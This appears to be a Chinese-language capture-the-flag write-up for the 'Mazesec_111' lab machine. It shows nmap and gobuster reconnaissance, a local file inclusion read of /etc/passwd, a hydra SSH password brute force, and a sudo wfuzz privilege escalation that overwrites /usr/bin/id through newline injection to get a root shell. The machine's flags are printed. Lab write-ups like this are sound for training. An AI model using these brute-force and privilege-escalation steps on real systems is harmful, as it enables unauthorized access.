Mazesec_111

靶机来源:QQ群-660930334

难度:Easy

一、信息收集

1、主机探测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[/miaosec]
└─# nmap -sn 192.168.2.0/24
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-08 11:26 CST
Nmap scan report for 192.168.2.1
Host is up (0.0011s latency).
MAC Address: 0A:00:27:00:00:07 (Unknown)
Nmap scan report for 192.168.2.2
Host is up (0.0014s latency).
MAC Address: 08:00:27:48:64:28 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.38
Host is up (0.00075s latency).
MAC Address: 08:00:27:68:7D:74 (Oracle VirtualBox virtual NIC)
Nmap scan report for 192.168.2.4
Host is up.
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.19 seconds

靶机IP:192.168.2.38

2、端口扫描

1.全端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿kali)-[/miaosec]
└─# nmap --min-rate 10000 -p- 192.168.2.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-08 11:27 CST
Nmap scan report for 192.168.2.38
Host is up (0.0014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:68:7D:74 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 21.66 seconds

开放端口:22、80

2.详细信息扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root㉿kali)-[/miaosec]
└─# nmap --min-rate 10000 -sT -sV -sC -O -p22,80 192.168.2.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-08 11:28 CST
Nmap scan report for 192.168.2.38
Host is up (0.00061s latency).

PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
| 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_ 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Rockyou.txt - \xE5\xAF\x86\xE7\xA0\x81\xE5\xAD\x97\xE5\x85\xB8\xE6\x96\x87\xE4\xBB\xB6\xE4\xBB\x8B\xE7\xBB\x8D
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:68:7D:74 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.88 seconds

3.udp扫描

1
2
3
4
5
6
7
8
9
10
┌──(root㉿kali)-[/miaosec]
└─# nmap -sU --top-ports 100 192.168.2.38
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-01-08 11:28 CST
Nmap scan report for 192.168.2.38
Host is up (0.00070s latency).
All 100 scanned ports on 192.168.2.38 are in ignored states.
Not shown: 56 closed udp ports (port-unreach), 44 open|filtered udp ports (no-response)
MAC Address: 08:00:27:68:7D:74 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 51.70 seconds

二、WEB渗透

1、80网站

访问80端口,是一个rockyou字典的介绍 img

2、目录扫描

1
2
3
4
5
┌──(root㉿kali)-[/miaosec]
└─# gobuster dir -u http://192.168.2.38 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x php,txt,html,bak,md,db,js
...
/file.php (Status: 200) [Size: 0]
...

3、文件包含-LFI

猜测可能存在文件包含,尝试访问/etc/passwd img

找到存在shell的用户tao

三、获取tao权限

1、ssh密码爆破

根据网站的提示,使用rockyou字典进行爆破

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(root㉿kali)-[/miaosec]
└─# hydra -l tao -P /usr/share/wordlists/rockyou.txt -s 22 ssh://192.168.2.38 -t 4 -v -I -e nsr
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-01-09 14:30:20
[WARNING] Restorefile (ignored ...) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 14344402 login tries (l:1/p:14344402), ~3586101 tries per task
[DATA] attacking ssh://192.168.2.38:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://tao@192.168.2.38:22
[INFO] Successful, password authentication is supported by ssh://192.168.2.38:22
[22][ssh] host: 192.168.2.38 login: tao password: rockyou
[STATUS] attack finished for 192.168.2.38 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-01-09 14:30:33

成功找到用户tao的SSH密码rockyou

获取到tao的权限

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(root㉿kali)-[/miaosec]
└─# ssh tao@192.168.2.38
tao@192.168.2.38's password:
Linux 111 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
tao@111:~$ id
uid=1000(tao) gid=1000(tao) groups=1000(tao)

四、权限提升

查看sudo -l

1
2
3
4
5
6
7
tao@111:~$ sudo -l
Matching Defaults entries for tao on 111:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User tao may run the following commands on 111:
(ALL) NOPASSWD: /usr/bin/wfuzz
(ALL) NOPASSWD: /usr/bin/id

1、wfuzz读取文件

wfuzz的参数-w可以将文件作为字典进行输出 所以可以使用-w参数将root.txt读取出来

1
2
3
4
tao@111:~$ sudo /usr/bin/wfuzz -w /root/root.txt http://192.168.2.38/file.php?file=FUZZ
...
000000001: 200 0 L 0 W 0 Ch "flag{root-9bbd7af2a042a901b92dc203b3896621}"
...

2、wfuzz获取shell

参数-f可以将扫描的结果输出到文件里面 img

1-方案一:换行符注入

通过引号的闭合特性,即在命令行输入的引号不成对出现时直接回车,命令行会继续等待输入内容,直到闭合引号,因此可以在引号里构造出换行,从而向日志里写入可控内容。

成功将内容写入到文件里面 img

利用这个特性,将另外一个sudo文件/usr/bin/id里面的内容进行覆盖

1
2
3
tao@111:/tmp$ sudo /usr/bin/wfuzz -w /root/root.txt -f /usr/bin/id -u 'http://192.168.2.38/file.php?file=FUZZ
> bash
> '

img

执行/usr/bin/id,成功获取到root-shell

1
2
3
tao@111:/tmp$ sudo /usr/bin/id
root@111:/tmp# whoami
root

五、查看FLAG

1
2
3
root@111:/tmp# cat /root/root.txt /home/tao/user.txt 
flag{root-9bbd7af2a042a901b92dc203b3896621}
flag{user-21747e1ca09bfcc4f2551263db0f3dff}

Mazesec_111
http://miao-sec.github.io/Maze-sec/Mazesec-111/
作者
Miao
发布于
2026年1月9日
许可协议
BY-MIAO